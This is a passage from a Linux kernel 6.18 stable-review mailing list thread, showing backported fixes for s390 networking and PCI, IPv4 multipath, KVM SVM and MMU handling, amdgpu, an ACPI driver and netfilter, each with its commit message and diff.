2026-10-23 16:36 ` [PATCH 6.18 138/193] page_pool: keep frag_offset aligned for odd-sized requests Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 140/193] s390/pci: Fix leak of uninitialized kernel data in SCLP report Greg Kroah-Hartman
` (64 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Aswin Karuvally, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aswin Karuvally <aswin@linux.ibm.com>
commit b264d8422779d69febce914efc47a92a85cc382c upstream.
The mpc_validate_xid() function sets grp->saved_xid2->xid2_flag2 to 0x40
to signal XID validation error. If peer XID is NULL or r/w channel
pairing mismatch happens, grp->saved_xid2 is never initialized. An
attempt to set the flag in such case leads to NULL dereference.
Fix this by using the always available priv->xid->xid2_flag2 instead of
grp->saved_xid2->xid2_flag2 for validation errors.
Fixes: 293d984f0e36 ("ctcm: infrastructure for replaced ctc driver")
Cc: stable@vger.kernel.org
Signed-off-by: Aswin Karuvally <aswin@linux.ibm.com>
Link: https://patch.msgid.link/20260827063408.2168914-1-aswin@linux.ibm.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/s390/net/ctcm_mpc.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/drivers/s390/net/ctcm_mpc.c
+++ b/drivers/s390/net/ctcm_mpc.c
@@ -827,7 +827,7 @@ static void mpc_action_go_ready(fsm_inst
fsm_deltimer(&grp->timer);
- if (grp->saved_xid2->xid2_flag2 == 0x40) {
+ if (priv->xid->xid2_flag2 == 0x40) {
priv->xid->xid2_flag2 = 0x00;
if (grp->estconnfunc) {
grp->estconnfunc(grp->port_num, 1,
@@ -1637,7 +1637,6 @@ done:
"The XID used in the MPC protocol is not valid, "
"rc = %d\n", rc);
priv->xid->xid2_flag2 = 0x40;
- grp->saved_xid2->xid2_flag2 = 0x40;
}
return rc;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 140/193] s390/pci: Fix leak of uninitialized kernel data in SCLP report
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (138 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 139/193] s390/ctcm: Prevent XID null dereference Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 141/193] ipv4: avoid divide by zero in fib_rebalance Greg Kroah-Hartman
` (63 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Niklas Schnelle, Benjamin Block,
Vasily Gorbik, Heiko Carstens
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Niklas Schnelle <schnelle@linux.ibm.com>
commit 8ac60ae2a307a50b599bf5d300b448d638f3ba29 upstream.
While report_error_write() checks that the provided buffer is at least
as large as the header struct, but not that it is large enough to
contain the report with the length claimed by report->length. If
user-space provides a short buffer, meaning a larger report->length than
the actually written payload, up to around 4K of kernel data from past
the kmalloc(len + 1) sized buffer allocated in kernfs_fop_write_iter()
will leak into the SCLP report.
However, as the entity processing the SCLP is privileged and able to
access at least the page including the report, this does not leak data
that entity could not access but it is still an out of bounds read and
a malformed error report that should be rejected.
Fixes: 368704a65be8 ("s390/pci: add report_error attribute")
Cc: stable@vger.kernel.org
Signed-off-by: Niklas Schnelle <schnelle@linux.ibm.com>
Reviewed-by: Benjamin Block <bblock@linux.ibm.com>
Signed-off-by: Vasily Gorbik <gor@linux.ibm.com>
Signed-off-by: Heiko Carstens <hca@linux.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/s390/pci/pci_sysfs.c | 3 +++
1 file changed, 3 insertions(+)
--- a/arch/s390/pci/pci_sysfs.c
+++ b/arch/s390/pci/pci_sysfs.c
@@ -154,6 +154,9 @@ static ssize_t report_error_write(struct
if (off || (count < sizeof(*report)))
return -EINVAL;
+ if (count < (report->length + sizeof(*report)))
+ return -EINVAL;
+
ret = sclp_pci_report(report, zdev->fh, zdev->fid);
return ret ? ret : count;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 141/193] ipv4: avoid divide by zero in fib_rebalance
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (139 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 140/193] s390/pci: Fix leak of uninitialized kernel data in SCLP report Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 142/193] KVM: SVM: Stop toggling virtual VMSAVE/VMLOAD on intercept recalc Greg Kroah-Hartman
` (62 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Vega, Zihan Xi, Eric Dumazet,
Ido Schimmel, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Zihan Xi <zihanx@nebusec.ai>
commit 5046d2880fec7d49ebed2fd2866747ee1d06ad71 upstream.
fib_rebalance() computes the total eligible nexthop weight in one pass
and programs upper bounds in a second pass. A concurrent change to
ignore_routes_with_linkdown can make the first pass return zero while
the second pass sees an eligible nexthop, resulting in division by zero.
If the first pass reports a zero total, set each nexthop upper bound to
-1 and skip the division. This matches the IPv6 fix in commit
d2c26c2911dd ("ipv6: avoid divide by zero in rt6_multipath_rebalance")
and preserves the lock-free rebalance path.
Fixes: 0e884c78ee19 ("ipv4: L3 hash-based multipath")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
Link: https://patch.msgid.link/20260827182514.4667-2-zihanx@nebusec.ai
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/fib_semantics.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/net/ipv4/fib_semantics.c
+++ b/net/ipv4/fib_semantics.c
@@ -881,7 +881,7 @@ static void fib_rebalance(struct fib_inf
change_nexthops(fi) {
int upper_bound;
- if (nexthop_nh->fib_nh_flags & RTNH_F_DEAD) {
+ if (!total || nexthop_nh->fib_nh_flags & RTNH_F_DEAD) {
upper_bound = -1;
} else if (ip_ignore_linkdown(nexthop_nh->fib_nh_dev) &&
nexthop_nh->fib_nh_flags & RTNH_F_LINKDOWN) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 142/193] KVM: SVM: Stop toggling virtual VMSAVE/VMLOAD on intercept recalc
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (140 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 141/193] ipv4: avoid divide by zero in fib_rebalance Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 143/193] drm/amdgpu: Fix VCE 3 ring align_mask Greg Kroah-Hartman
` (61 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Yosry Ahmed, Sean Christopherson,
Nikola Ciprich, Yosry Ahmed, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yosry Ahmed <yosry.ahmed@linux.dev>
[ Upstream commit 55780d8a1dcc93d2c4b33c565ada88df12c9f206 ]
Virtual VMSAVE/VMLOAD enablement (i.e.
VIRTUAL_VMLOAD_VMSAVE_ENABLE_MASK) is set/cleared by
svm_recalc_instruction_intercepts() when the intercepts are cleared/set.
This is unnecessary because the bit is meaningless when intercepts are
set and KVM emulates the instructions. Initialize the bit in vmcb01 base
on vls, and keep it unchanged.
This is similar-ish to how vGIF is handled. It is enabled in init_vmcb()
if vgif=1 and remains unchanged when the STGI intercept is enabled (e.g.
for NMI windows).
This fixes a bug in svm_recalc_instruction_intercepts(). The intercepts
for VMSAVE/VMLOAD are always toggled in vmcb01, but
VIRTUAL_VMLOAD_VMSAVE_ENABLE_MASK is toggled in the current VMCB, which
could be vmcb02 instead of vmcb01 if L2 is active.
Virtual VMSAVE/VMLOAD enablement in vmcb02 is separately controlled by
nested_vmcb02_prepare_control() based on the vCPU features and VMCB12,
and if intercepts are needed they are set by recalc_intercepts().
The bug is benign though. Not toggling the bit for vmcb01 is harmless
because it's useless anyway. For vmcb02:
- The bit could be incorrectly cleared when intercepts are set in
vmcb01. This is harmless because VMSAVE/VMLOAD will be emulated by KVM
anyway.
- The bit could be incorrectly set when the intercepts are cleared in
vmcb01. However, if the bit was originally clear in vmcb02, then
recalc_intercepts() will enable in the intercepts in vmcb02 anyway and
VMSAVE/VMLOAD will be emulated by KVM.
Signed-off-by: Yosry Ahmed <yosry.ahmed@linux.dev>
Link: https://patch.msgid.link/20260110004821.3411245-3-yosry.ahmed@linux.dev
Signed-off-by: Sean Christopherson <seanjc@google.com>
Fixes: 5a1a726e68ff ("KVM: x86: Use KVM_REQ_RECALC_INTERCEPTS to react to CPUID updates")
Reported-by: Nikola Ciprich <nikola.ciprich@linuxbox.cz>
Closes: https://lore.kernel.org/linux-mm/arY1Wq6R9OY20ans@pcnci.linuxbox.cz/
Tested-by: Nikola Ciprich <nikola.ciprich@linuxbox.cz>
[ yosry: The bug is not benign. Since 5a1a726e68ff, a vCPU restored into
L2 (e.g. on live migration) recalculates intercepts with vmcb02
loaded, leaving vmcb01 with neither VMLOAD/VMSAVE intercepts nor
virtual VMLOAD/VMSAVE, so L1's VMLOAD/VMSAVE corrupt host memory. ]
Signed-off-by: Yosry Ahmed <yosry@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/x86/kvm/svm/svm.c | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c
index 335b214aa3711..5f3c6d7974fb9 100644
--- a/arch/x86/kvm/svm/svm.c
+++ b/arch/x86/kvm/svm/svm.c
@@ -981,10 +981,14 @@ static void svm_recalc_instruction_intercepts(struct kvm_vcpu *vcpu)
svm_set_intercept(svm, INTERCEPT_RDTSCP);
}
+ /*
+ * No need to toggle VIRTUAL_VMLOAD_VMSAVE_ENABLE_MASK here, it is
+ * always set if vls is enabled. If the intercepts are set, the bit is
+ * meaningless anyway.
+ */
if (guest_cpuid_is_intel_compatible(vcpu)) {
svm_set_intercept(svm, INTERCEPT_VMLOAD);
svm_set_intercept(svm, INTERCEPT_VMSAVE);
- svm->vmcb->control.virt_ext &= ~VIRTUAL_VMLOAD_VMSAVE_ENABLE_MASK;
} else {
/*
* If hardware supports Virtual VMLOAD VMSAVE then enable it
@@ -993,7 +997,6 @@ static void svm_recalc_instruction_intercepts(struct kvm_vcpu *vcpu)
if (vls) {
svm_clr_intercept(svm, INTERCEPT_VMLOAD);
svm_clr_intercept(svm, INTERCEPT_VMSAVE);
- svm->vmcb->control.virt_ext |= VIRTUAL_VMLOAD_VMSAVE_ENABLE_MASK;
}
}
}
@@ -1137,6 +1140,9 @@ static void init_vmcb(struct kvm_vcpu *vcpu, bool init_event)
svm->vmcb->control.int_ctl |= V_GIF_ENABLE_MASK;
}
+ if (vls)
+ svm->vmcb->control.virt_ext |= VIRTUAL_VMLOAD_VMSAVE_ENABLE_MASK;
+
if (vcpu->kvm->arch.bus_lock_detection_enabled)
svm_set_intercept(svm, INTERCEPT_BUSLOCK);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 143/193] drm/amdgpu: Fix VCE 3 ring align_mask
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (141 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 142/193] KVM: SVM: Stop toggling virtual VMSAVE/VMLOAD on intercept recalc Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 144/193] ACPI: tiny-power-button: Convert the driver to a platform one Greg Kroah-Hartman
` (60 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, David Rosca,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Rosca <david.rosca@amd.com>
[ Upstream commit 2ee9836545e690c9e66ec203445d7705959fd7a8 ]
The largest frame is 20 dwords, so 0xf mask is too small.
This was always wrong, but we were lucky with the VCE_CMD_END
commands inserted after fence and vm_flush.
Fixes: 8897ea8c761b ("drm/amdgpu: Implement insert_end for VCE 3")
Cc: stable@vger.kernel.org
Acked-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: David Rosca <david.rosca@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c b/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c
index b54359efac06f..9c4c782c99aa1 100644
--- a/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c
@@ -955,7 +955,7 @@ static const struct amdgpu_ring_funcs vce_v3_0_ring_phys_funcs = {
static const struct amdgpu_ring_funcs vce_v3_0_ring_vm_funcs = {
.type = AMDGPU_RING_TYPE_VCE,
- .align_mask = 0xf,
+ .align_mask = 0x1f,
.nop = VCE_CMD_NO_OP,
.support_64bit_ptrs = false,
.no_user_fence = true,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 144/193] ACPI: tiny-power-button: Convert the driver to a platform one
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (142 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 143/193] drm/amdgpu: Fix VCE 3 ring align_mask Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 145/193] netfilter: nft_byteorder: remove multi-register support Greg Kroah-Hartman
` (59 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Rafael J. Wysocki, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
[ Upstream commit f4203ec64e1155c07c5d95bddc62201af8598c67 ]
While binding drivers directly to struct acpi_device objects allows
basic functionality to be provided, at least in the majority of cases,
there are some problems with it, related to general consistency, sysfs
layout, power management operation ordering, and code cleanliness.
Overall, it is better to bind drivers to platform devices than to their
ACPI companions, so convert the ACPI tiny-power-button driver to a
platform one.
While this is not expected to alter functionality, it changes sysfs
layout and so it will be visible to user space.
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
[ rjw: White space fixup ]
Link: https://patch.msgid.link/5629403.Sb9uPGUboI@rafael.j.wysocki
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/acpi/tiny-power-button.c | 25 ++++++++++++++-----------
1 file changed, 14 insertions(+), 11 deletions(-)
diff --git a/drivers/acpi/tiny-power-button.c b/drivers/acpi/tiny-power-button.c
index 6353be6fec698..531e65b01bcbe 100644
--- a/drivers/acpi/tiny-power-button.c
+++ b/drivers/acpi/tiny-power-button.c
@@ -1,7 +1,8 @@
// SPDX-License-Identifier: GPL-2.0-or-later
+#include <linux/acpi.h>
#include <linux/module.h>
+#include <linux/platform_device.h>
#include <linux/sched/signal.h>
-#include <linux/acpi.h>
#include <acpi/button.h>
MODULE_AUTHOR("Josh Triplett");
@@ -35,8 +36,9 @@ static u32 acpi_tiny_power_button_event(void *not_used)
return ACPI_INTERRUPT_HANDLED;
}
-static int acpi_tiny_power_button_add(struct acpi_device *device)
+static int acpi_tiny_power_button_probe(struct platform_device *pdev)
{
+ struct acpi_device *device = ACPI_COMPANION(&pdev->dev);
acpi_status status;
if (device->device_type == ACPI_BUS_TYPE_POWER_BUTTON) {
@@ -55,8 +57,10 @@ static int acpi_tiny_power_button_add(struct acpi_device *device)
return 0;
}
-static void acpi_tiny_power_button_remove(struct acpi_device *device)
+static void acpi_tiny_power_button_remove(struct platform_device *pdev)
{
+ struct acpi_device *device = ACPI_COMPANION(&pdev->dev);
+
if (device->device_type == ACPI_BUS_TYPE_POWER_BUTTON) {
acpi_remove_fixed_event_handler(ACPI_EVENT_POWER_BUTTON,
acpi_tiny_power_button_event);
@@ -67,14 +71,13 @@ static void acpi_tiny_power_button_remove(struct acpi_device *device)
acpi_os_wait_events_complete();
}
-static struct acpi_driver acpi_tiny_power_button_driver = {
- .name = "tiny-power-button",
- .class = "tiny-power-button",
- .ids = tiny_power_button_device_ids,
- .ops = {
- .add = acpi_tiny_power_button_add,
- .remove = acpi_tiny_power_button_remove,
+static struct platform_driver acpi_tiny_power_button_driver = {
+ .probe = acpi_tiny_power_button_probe,
+ .remove = acpi_tiny_power_button_remove,
+ .driver = {
+ .name = "acpi-tiny-power-button",
+ .acpi_match_table = tiny_power_button_device_ids,
},
};
-module_acpi_driver(acpi_tiny_power_button_driver);
+module_platform_driver(acpi_tiny_power_button_driver);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 145/193] netfilter: nft_byteorder: remove multi-register support
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (143 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 144/193] ACPI: tiny-power-button: Convert the driver to a platform one Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 146/193] KVM: x86/mmu: Preserve nested TDP shadow page tables if they are used as roots Greg Kroah-Hartman
` (58 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Michal Kubecek, Florian Westphal,
Pablo Neira Ayuso, Sasha Levin, stable+noautosel
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Florian Westphal <fw@strlen.de>
[ Upstream commit bb061d3de41707415269be75ebf700efb03ec212 ]
64bit byteorder conversion is broken when several registers need to be
converted because the source register array advances in steps for 4 bytes
instead of 8:
for (i = ...
src64 = nft_reg_load64(&src[i]);
~~~~~ u32 *src
nft_reg_store64(&dst64[i],
Remove the multi-register support, it has other issues as well:
Pablo points out that commit
caf3ef7468f7 ("netfilter: nf_tables: prevent OOB access in nft_byteorder_eval")
alters semantics: before the loop operated on registers, i.e.
for ( ... )
dst32[i] = htons((u16)src32[i])
.. but after the patch it will operate on bytes, which makes this
useless to convert e.g. concatenations, which store each compound
in its own register.
Multi-convert of u32 has one theoretical application:
ct mark . meta mark . tcp dport @intervalset
Because ct mark and meta mark are host byte order, use with
intervals has to convert the byteorder for ct/meta mark value
to network byte order (bigendian).
nftables emits this:
[ meta load mark => reg 1 ]
[ byteorder reg 1 = hton(reg 1, 4, 4) ]
[ ct load mark => reg 9 ]
[ byteorder reg 9 = hton(reg 9, 4, 4) ]
...
I.e. two separate calls. Theoretically it could be changed to do:
[ meta load mark => reg 1 ]
[ ct load mark => reg 9 ]
[ byteorder reg 1 = htonl(reg 1, 4, 8) ]
...
But then all it would take to change the set to
meta mark . tcp dport . ct mark
... and we'd be back to two "byteorder" calls. IOW, support to
convert a range of registers is both dysfunctional and dubious.
Simplify this: remove the feature.
Pablo Neira Ayuso points out that nftables before 1.1.0 can generate
incorrect byteorder conversions, see 9fe58952c45a,
"evaluate: skip byteorder conversion for selector smaller than 2 bytes"
in nftables.git). Affected rulesets fail to load with this change and
old userspace due to 'len != size' check.
Fixes: c301f0981fdd ("netfilter: nf_tables: fix pointer math issue in nft_byteorder_eval()")
Cc: <stable+noautosel@kernel.org> # may break rule load with old nftables versions
Reported-by: Michal Kubecek <mkubecek@suse.cz>
Link: https://lore.kernel.org/netfilter-devel/20240206104336.ctigqpkunom2ufmn@lion.mk-sys.cz/
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/netfilter/nft_byteorder.c | 51 ++++++++++++++---------------------
1 file changed, 20 insertions(+), 31 deletions(-)
diff --git a/net/netfilter/nft_byteorder.c b/net/netfilter/nft_byteorder.c
index 74548b4c114b9..391aade36ef3c 100644
--- a/net/netfilter/nft_byteorder.c
+++ b/net/netfilter/nft_byteorder.c
@@ -19,7 +19,6 @@ struct nft_byteorder {
u8 sreg;
u8 dreg;
enum nft_byteorder_ops op:8;
- u8 len;
u8 size;
};
@@ -28,13 +27,8 @@ void nft_byteorder_eval(const struct nft_expr *expr,
const struct nft_pktinfo *pkt)
{
const struct nft_byteorder *priv = nft_expr_priv(expr);
- u32 *src = ®s->data[priv->sreg];
+ const u32 *src = ®s->data[priv->sreg];
u32 *dst = ®s->data[priv->dreg];
- u16 *s16, *d16;
- unsigned int i;
-
- s16 = (void *)src;
- d16 = (void *)dst;
switch (priv->size) {
case 8: {
@@ -43,18 +37,14 @@ void nft_byteorder_eval(const struct nft_expr *expr,
switch (priv->op) {
case NFT_BYTEORDER_NTOH:
- for (i = 0; i < priv->len / 8; i++) {
- src64 = nft_reg_load64(&src[i]);
- nft_reg_store64(&dst64[i],
- be64_to_cpu((__force __be64)src64));
- }
+ src64 = nft_reg_load64(src);
+
+ nft_reg_store64(dst64, be64_to_cpu((__force __be64)src64));
break;
case NFT_BYTEORDER_HTON:
- for (i = 0; i < priv->len / 8; i++) {
- src64 = (__force __u64)
- cpu_to_be64(nft_reg_load64(&src[i]));
- nft_reg_store64(&dst64[i], src64);
- }
+ src64 = (__force __u64)cpu_to_be64(nft_reg_load64(src));
+
+ nft_reg_store64(dst64, src64);
break;
}
break;
@@ -62,24 +52,20 @@ void nft_byteorder_eval(const struct nft_expr *expr,
case 4:
switch (priv->op) {
case NFT_BYTEORDER_NTOH:
- for (i = 0; i < priv->len / 4; i++)
- dst[i] = ntohl((__force __be32)src[i]);
+ *dst = ntohl((__force __be32)*src);
break;
case NFT_BYTEORDER_HTON:
- for (i = 0; i < priv->len / 4; i++)
- dst[i] = (__force __u32)htonl(src[i]);
+ *dst = (__force __u32)htonl(*src);
break;
}
break;
case 2:
switch (priv->op) {
case NFT_BYTEORDER_NTOH:
- for (i = 0; i < priv->len / 2; i++)
- d16[i] = ntohs((__force __be16)s16[i]);
+ nft_reg_store16(dst, ntohs(nft_reg_load_be16(src)));
break;
case NFT_BYTEORDER_HTON:
- for (i = 0; i < priv->len / 2; i++)
- d16[i] = (__force __u16)htons(s16[i]);
+ nft_reg_store_be16(dst, htons(nft_reg_load16(src)));
break;
}
break;
@@ -137,20 +123,22 @@ static int nft_byteorder_init(const struct nft_ctx *ctx,
if (err < 0)
return err;
- priv->len = len;
+ /* no longer support multi-reg conversions */
+ if (len != size)
+ return -EOPNOTSUPP;
err = nft_parse_register_load(ctx, tb[NFTA_BYTEORDER_SREG], &priv->sreg,
- priv->len);
+ len);
if (err < 0)
return err;
err = nft_parse_register_store(ctx, tb[NFTA_BYTEORDER_DREG],
&priv->dreg, NULL, NFT_DATA_VALUE,
- priv->len);
+ len);
if (err < 0)
return err;
- if (nft_reg_overlap(priv->sreg, priv->dreg, priv->len))
+ if (nft_reg_overlap(priv->sreg, priv->dreg, len))
return -EINVAL;
return 0;
@@ -167,10 +155,11 @@ static int nft_byteorder_dump(struct sk_buff *skb,
goto nla_put_failure;
if (nla_put_be32(skb, NFTA_BYTEORDER_OP, htonl(priv->op)))
goto nla_put_failure;
- if (nla_put_be32(skb, NFTA_BYTEORDER_LEN, htonl(priv->len)))
- goto nla_put_failure;
if (nla_put_be32(skb, NFTA_BYTEORDER_SIZE, htonl(priv->size)))
goto nla_put_failure;
+ /* compatibility for old userspace which permitted size != len */
+ if (nla_put_be32(skb, NFTA_BYTEORDER_LEN, htonl(priv->size)))
+ goto nla_put_failure;
return 0;
nla_put_failure:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 146/193] KVM: x86/mmu: Preserve nested TDP shadow page tables if they are used as roots
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (144 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 145/193] netfilter: nft_byteorder: remove multi-register support Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 147/193] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes Greg Kroah-Hartman
` (57 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hyunwoo Kim, Paolo Bonzini,
Sean Christopherson, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hyunwoo Kim <imv4bel@gmail.com>
[ Upstream commit 7a2c70e777a00c32ebafd376a6fe31ebb91c5b20 ]
kvm_mmu_zap_oldest_mmu_pages() excludes a shadow page whose root_count
is non-zero from top-level reclaim, because such a page cannot be
freed. The path in mmu_page_zap_pte() that recursively zaps a parentless
nested TDP child has no such check. As a result, a shadow page can
be zapped even if the page itself can't be freed; as the comment in
kvm_mmu_zap_oldest_mmu_pages() notes, zapping it will just force vCPUs
to rebuild the page.
As in top-level reclaim, do not recursively prepare zapping of a
nested TDP child whose root_count is non-zero.
Fixes: 2de4085cccea ("KVM: x86/MMU: Recursively zap nested TDP SPs when zapping last/only parent")
Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Sean Christopherson <seanjc@google.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/x86/kvm/mmu/mmu.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/arch/x86/kvm/mmu/mmu.c b/arch/x86/kvm/mmu/mmu.c
index 205d314a7583c..1fa251ca4dccf 100644
--- a/arch/x86/kvm/mmu/mmu.c
+++ b/arch/x86/kvm/mmu/mmu.c
@@ -2630,6 +2630,7 @@ static int mmu_page_zap_pte(struct kvm *kvm, struct kvm_mmu_page *sp,
*/
if (tdp_enabled && invalid_list &&
child->role.guest_mode &&
+ !child->root_count &&
!atomic_long_read(&child->parent_ptes.val))
return kvm_mmu_prepare_zap_page(kvm, child,
invalid_list);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 147/193] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (145 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 146/193] KVM: x86/mmu: Preserve nested TDP shadow page tables if they are used as roots Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 148/193] drm/amdgpu: keep the eviction fence until the last handle is closed Greg Kroah-Hartman
` (56 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, SimonP, Sean Christopherson,
Paolo Bonzini, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paolo Bonzini <pbonzini@redhat.com>
[ Upstream commit e90ab3669181c6469e3647ef2b30ae408275f496 ]
When running Hyper-V from Windows 11, KVM is seeing the SS bit set
in nested page fault error codes produced for shadowed NPT. The AMD
manual is unclear about when SS is set, including whether it can be set
when SupervisorShadowStackEn (bit 6) is not set in the MISC_CTL field
of the VMCB.
Nevertheless, the unexpected SS bit causes out of bounds accesses in
permission_fault(), seen as either WARNs or UBSAN reports:
kernel: UBSAN: array-index-out-of-bounds in arch/x86/kvm/mmu.h:225:27
kernel: index 34 is out of range for type 'u16 [16]'
(in this case, the page fault error code is 34*2=0x44, i.e. SS|U; the
report shows SS|U|W happening as well). Fix the handling of unknown
error codes by dropping SS and (with a WARN) any bits not among those
that permission_fault() expects to receive.
At the same time, given the uncertainty about when hardware sets SS,
follow the processor's behavior when constructing the fault's error
code, and preserve the SS bit as passed to FNAME(walk_addr_generic).
While the behavior is surprising, there's a possibility that Hyper-V
expects it (Hyper-V does not even enable CET unless it finds MBEC/GMET!),
so retain the information when reflecting the fault to L1 instead of
unconditionally discarding it.
